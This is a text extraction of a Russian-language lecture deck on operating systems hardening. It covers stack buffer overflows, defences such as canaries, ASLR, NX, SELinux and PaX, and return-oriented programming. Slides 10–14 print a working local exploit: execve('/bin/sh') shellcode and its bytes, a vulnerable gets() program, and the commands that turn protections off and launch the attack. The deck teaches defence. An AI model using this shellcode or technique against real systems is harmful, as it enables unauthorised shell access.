38
Opera&ng Systems Hardening Sartakov A. Vasily ksys labs Summer Systems School’13

Operating Systems Hardening

Embed Size (px)

Citation preview

Page 1: Operating Systems Hardening

Opera&ng  Systems  Hardening  

Sartakov  A.  Vasily  ksys  labs  

Summer  Systems  School’13  

Page 2: Operating Systems Hardening

Structure  

•  Intro  •  Атаки  использующие  переполнение  буферов  •  Средства  противодействия  атакам  основанным  на  переполнении  буферов  

•  Противодействия  противодействию:  Return  Oriented  Programming  

Page 3: Operating Systems Hardening

Intro  

•  Morris  Worm  (November  1988)  –  Первый  известный  эксплоит  использовавший  срыв  стека        –  execve(“/bin/sh”,  0,  0)  

•  Thomas  Lopa&c  опубликовал  эксплоит  NCSA  HTTPD    (1995)    

•  “Smashing  the  Stack  for  Fun  and  Profit”  Aleph  One  (August  1996)    

•  Unix  

Page 4: Operating Systems Hardening

Structure  

•  Intro  •  Атаки  использующие  переполнение  буферов  •  Средства  противодействия  атакам  основанным  на  переполнении  буферов  

•  Противодействия  противодействию:  Return  Oriented  Programming  

Page 5: Operating Systems Hardening

Срыв  стека  

•  Подготовка  кода  (payload)  •  Изменение  последовательности  выполнения  программы  

Page 6: Operating Systems Hardening

Подготовка  кода  •  Передается  в  качестве  аргументов,  команд,  обрабатываемых  данных  •  Эти  данные  должны  сохраняться  в  выделенные  для  них  буфера  •  Принципиальной  разницы  нет  –  статический  это  буфер  или  динамический  •  Отсутствие  проверки  длины  данных  приводит  к  перезаписи  данных  за  границей  буфера.    

Page 7: Operating Systems Hardening

Искажение  адреса  возврата  

int  namelen  (void)  {    char  name[21];    gets(name);    return  strlen(name);  

}  name[0]  

name[1]  

….  

Адрес  возврата  

0xFFFF  

0x0  массив  Стек  

Page 8: Operating Systems Hardening

Искажение  указателя  функции  

void  dummy(void)  {    prin�("Hello  world!  n");  

}    int  main(int  argc,  char  **argv)  {  

 void  (*dummyptr)();    char  buffer[100];    dummyptr=dummy;    strcpy(buffer,  argv[1]);  //  Уязвимость    (*dummyptr)();  

}  

buffer[0]  

buffer[1]  

….  

dummyptr  

Адрес  возврата  0xFFFF  

0x0  массив  Стек  

Page 9: Operating Systems Hardening

Искажение  указателей  данных  

foo(char  *  arg)  {    char  *  p  =  arg;  //  уязвимый  указатель    char  a[40];  //  переполняемый  буфер    gets(a);  //  уязвимость    gets(p);  //  искажение  кода  

}  a[0]  

a[1]  

….  

p  

arg  0xFFFF  

0x0  массив  Стек  

Адрес  возврата  

Page 10: Operating Systems Hardening

Example  1  cat  >  launch.c  <<  "EOF"  int  main(int  argc,  char  **argv)  {      asm("\  needle0:  jmp  there\n\  here:  pop  %rdi\n\  xor  %rax,  %rax\n\  movb  $0x3b,  %al\n\  xor  %rsi,  %rsi\n\  xor  %rdx,  %rdx\n\  syscall\n\  there:  call  here\n\  .string  \"/bin/sh\"\n\  needle1:  .octa  0xdeadbeef\n\      ");  }  EOF  gcc  -­‐o  launch  launch.c  

h�p://crypto.stanford.edu/~blynn/rop/  

Page 11: Operating Systems Hardening

Shellcode  addr=0x`objdump  -­‐d  launch  |  grep  needle0  |  cut  -­‐d\    -­‐f1`  addr=$((addr-­‐0x400000))  echo  ...shellcode  starts  at  offset  $addr  xxd  -­‐s$addr  -­‐l32  -­‐p  launch  >  shellcode  

eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef  

Page 12: Operating Systems Hardening

vic&m  cat  >  vic&m.c  <<  "EOF"  #include  <stdio.h>  int  main()  {      char  name[64];      prin�("%p\n",  name);    //  Print  address  of  buffer.      puts("What's  your  name?");      gets(name);      prin�("Hello,  %s!\n",  name);      return  0;  }  EOF  

Page 13: Operating Systems Hardening

Compiling  gcc  -­‐fno-­‐stack-­‐protector  -­‐o  vic&m  vic&m.c    execstack  -­‐s  vic&m  //  disabling  executable  space  protec&on…    addr=$(echo  |  setarch  $(arch)  -­‐R  ./vic&m  |  sed  1q)  //finding  buffer  address…    a=`prin�  %016x  $addr  |  tac  -­‐rs..`    //exploi&ng  vic&m...    

Page 14: Operating Systems Hardening

A�ack  (  (  cat  shellcode  ;  prin�  %080d  0  ;  echo  $a  )  |  xxd  -­‐r  -­‐p  ;  cat  )  |  setarch  `arch`  -­‐R  ./vic&m  

Page 15: Operating Systems Hardening

Structure  

•  Intro  •  Атаки  использующие  переполнение  буферов  •  Средства  противодействия  атакам  основанным  на  переполнении  буферов  

•  Противодействия  противодействию:  Return  Oriented  Programming  

Page 16: Operating Systems Hardening

Средства  противодействия  атакам  основанным  на  переполнении  буферов  

•  Маркерные  значения  (Canaries)  •  Рандомизация  адресного  пространства  (ASLR)  

•  NX  бит  •  Подсистемы  безопасности  Linux  

Page 17: Operating Systems Hardening

Маркерные  значения  

a[0]  

a[1]  

….  

EBP  

Canary  0xFFFF  

0x0  массив  Стек  

Адрес  возврата  

Page 18: Operating Systems Hardening

Address  Space  Layout  Randomiza&on  

Name[0]  

0x7f..ff  Первый  запуск  

 char  name[64];      prin�("%p\n",  name);        puts("What's  your  name?");      gets(name);      prin�("Hello,  %s!\n",  name);  

7cb7ba740  

Name[0]  

Второй    запуск  

ef5415a90  

Page 19: Operating Systems Hardening

Эмуляция  NX  bit  

Код  

Данные  

Стек  

Код  

Испол

няем

ый  

неиспо

лняемый  

Лимит  сегмента  

Page 20: Operating Systems Hardening

NX/XD  bit:  Data  Execu&on  Preven&on(DEP)  

•  Physical  Address  Extension  (PAE)  •  Может  защищать  не  только  весь  процесс  целиком,  но  и  его  отдельную  часть.  

Page 21: Operating Systems Hardening

Подсистемы  безопасности  Linux  

•  SELinux  •  PaX/GrSecurity  

Page 22: Operating Systems Hardening

SELinux  •  Разрабатывался  под  контролем  Na&onal  Security  Agency  (NSA)  

•  Исходный  код  был  опубликован  в  декабря  2000  

•  Мандатный  контроль  доступа  на  основе  контроля  меток  безопасности  объектов  и  субъектов  ОС  

•  Принудительная  типизация  доступа  (Type  Enforcement)  

Page 23: Operating Systems Hardening

Проект  LOCK  •  LOCK  (LOgical  Coprocessing  Kernel)  •  Secure  Compu&ng  Corpora&on  (SCC)  •  «A1»,Trusted  Compu&ng  System  Evalua&on  Criteria  

(“Orange  Book”).  •  Принудительная  типизация  доступа  •  Наследие  -­‐  Sidewinder  Internet  Firewall  и  SELinux  •  Изначально  было  дополнением  2.2,  2.4  •  «Благодаря»  Торвальдсу  добавлено  в  ядро  в  качестве  

отдельного  модуля.  Так  появился  Linux  Security  Modules  в  ядре  2.6  

Page 24: Operating Systems Hardening

Принудительная  типизация  доступа  

•  Type  Enforcement  •  Технология  разграничения  доступа,  при  которой  права  на  доступ  субъекта  к  объекту  даются  в  зависимости  от  текущего  контекста  безопасности.  

•  Контекст  безопасности  хранится  в  расширенных  атрибутах  файловой  системы  и  управляется  с  помощью  Linux  security  module  (LSM)  

•  Принудительная  типизация  доступа  необходима  для  реализации  мандатного  контроля  доступа,  дополняет  ролевой  контроль  доступа  (Role  Based  Access  Control  —  RBAC).  

Page 25: Operating Systems Hardening

SELinux  

•  Каждый  объект  или  субъект  в  операционной  системе,  защищенной  SELinux,  должен  иметь  свою  специальную  метку,  называемую  контекстом  безопасности.    

•  Ext2-­‐>file-­‐>ext3  •  SELinux  предоставляет  пользователю  или  приложению  только  те  права  доступа,  которые  необходимы  для  осуществления  запрошенных  действий  

Page 26: Operating Systems Hardening

SELinux  

•  Каждый  процесс-­‐субъект  запускается  в  определенном  контексте  (домене)  безопасности    

•  Всем  ресурсам-­‐объектам  операционной  системы  ставится  в  соответствие  определенный  тип  

•  Высокая  степень  разграничения  доступа  к  ресурсам  •  Составляет  политику  безопасности:  Список  правил,  определяющих  разрешения  на  доступ  определенных  доменов  к  определенным  типам.  

Page 27: Operating Systems Hardening

SELinux  

Page 28: Operating Systems Hardening

PaX/GRSecurity  

•  Механизм  обеспечения  безопасного  исполнения  кода  PaX  •  Механизм  разграничения  доступа  на  основе  ролевой  политики  (RBAC)  •  Усиление  базового  механизма  chroot  •  Дополнительные  функции  и  механизмы  безопасности  

Page 29: Operating Systems Hardening

Structure  

•  Intro  •  Атаки  использующие  переполнение  буферов  •  Средства  противодействия  атакам  основанным  на  переполнении  буферов  

•  Противодействия  противодействию:  Return  Oriented  Programming  

Page 30: Operating Systems Hardening

Вопрос  

Подвержена  ли  Гарвардская  архитектура  атакам  основанным  на  срыве  стека?    

Page 31: Operating Systems Hardening

Ответ  

Атаки  построенные  на  срыве  стека  –  нет,  не  подвержена.  Но  подвержена  куда  более  серьезным  атакам  из  того  же  семейства.  

Page 32: Operating Systems Hardening

Return  oriented  programming  

•  Return-­‐to-­‐libc  (ret2libc)    – Позволяет  атаковать  неисполнимую  память  (DEP,  W^X,  etc)    

– Вместо  перезаписи  адреса  возврата,  осуществляется  выбор  специально  подобранных  двоичных  команд  из  библиотек  в  памяти,  как  вызовов  функций.  

– При  этом  данные  в  стеке  используются  как  аргументы  к  этим  функциям  

– Что  в  конечном  итоге  позволяет  сделать  system(cmd)  

Page 33: Operating Systems Hardening

Return  oriented  programming  •  Вместо  возврата  из  функций  с  измененным  

стеком  происходит  вызов  последовательностей  инструкций,  которые  заканчиваются  инструкцией  ret.    

•  Фактически  можно  обращаться  к  произвольному  региону,  прямо  в  середину  инструкции,  тем  самым  эмулируя  другой  тип  инструкций.    

•  Фактически,  все  что  нужно  для  взлома  –  найти  необходимую  последовательность  инструкций  в  памяти  

Page 34: Operating Systems Hardening

Return  oriented  programming  

•  Gadget  –  последовательность  подходящих  инструкций  заканчивающаяся  ret    

•  Гаджеты  исполняют  произвольный  высокоуровневый  функционал    

– Записать  данные  в  определенную  ячейку  памяти  –   add/sub/and/or/xor  – Вызвать  функцию  из  библиотеки  

Page 35: Operating Systems Hardening

Return  oriented  programming  

•  Для  построения  RoP  атаки  необходимо  просканировать  исполнимые  регионы  библиотек  для  выявления  подходящих  инструкций  

•  Полнота  по  Тьюрингу  при  поиске  гаджетов:  Homescu,  Andrei,  et  al.  "Microgadgets:  Size  Does  Ma�er  in  Turing-­‐Complete  Return-­‐Oriented  Programming."  WOOT.  2012.  

Page 36: Operating Systems Hardening

Example  2  

Return-­‐oriented  programming  on  64-­‐bit  Linux  Ben  Lynn  h�p://crypto.stanford.edu/~blynn/rop/  

Page 37: Operating Systems Hardening

Выводы:  

1.  Маркерные  значения  +  рандомизация  +  NX  бит  не  защищают  на  100%,  но  сильно  усложняют  вторжение.    

2.  Превентивные  средства  защиты  (PaX),  задача  которых  противодействовать  вторжению,  вместе  с  AC  (RBAC),  так  же  уменьшают  шансы  вторжения  и  минимизируют  последствия  

3.  Защита  от  внедрения  вредоносного  кода  не  достаточна  для  предотвращения  исполнения  вредоносного  кода.    

Page 38: Operating Systems Hardening

Reading    •  h�p://crypto.stanford.edu/~blynn/rop/  •  Roemer,  Ryan,  et  al.  "Return-­‐oriented  programming:  

Systems,  languages,  and  applica&ons."  ACM  Transac&ons  on  Informa&on  and  System  Security  (TISSEC)  15.1  (2012):  2.  

•  Checkoway,  Stephen,  et  al.  "Can  DREs  provide  long-­‐las&ng  security?  The  case  of  return-­‐oriented  programming  and  the  AVC  Advantage."  Proceedings  of  EVT/WOTE  2009  (2009).  

•  Shacham,  Hovav.  "The  geometry  of  innocent  flesh  on  the  bone:  Return-­‐into-­‐libc  without  func&on  calls  (on  the  x86)."  Proceedings  of  the  14th  ACM  conference  on  Computer  and  communicaCons  security.  ACM,  2007.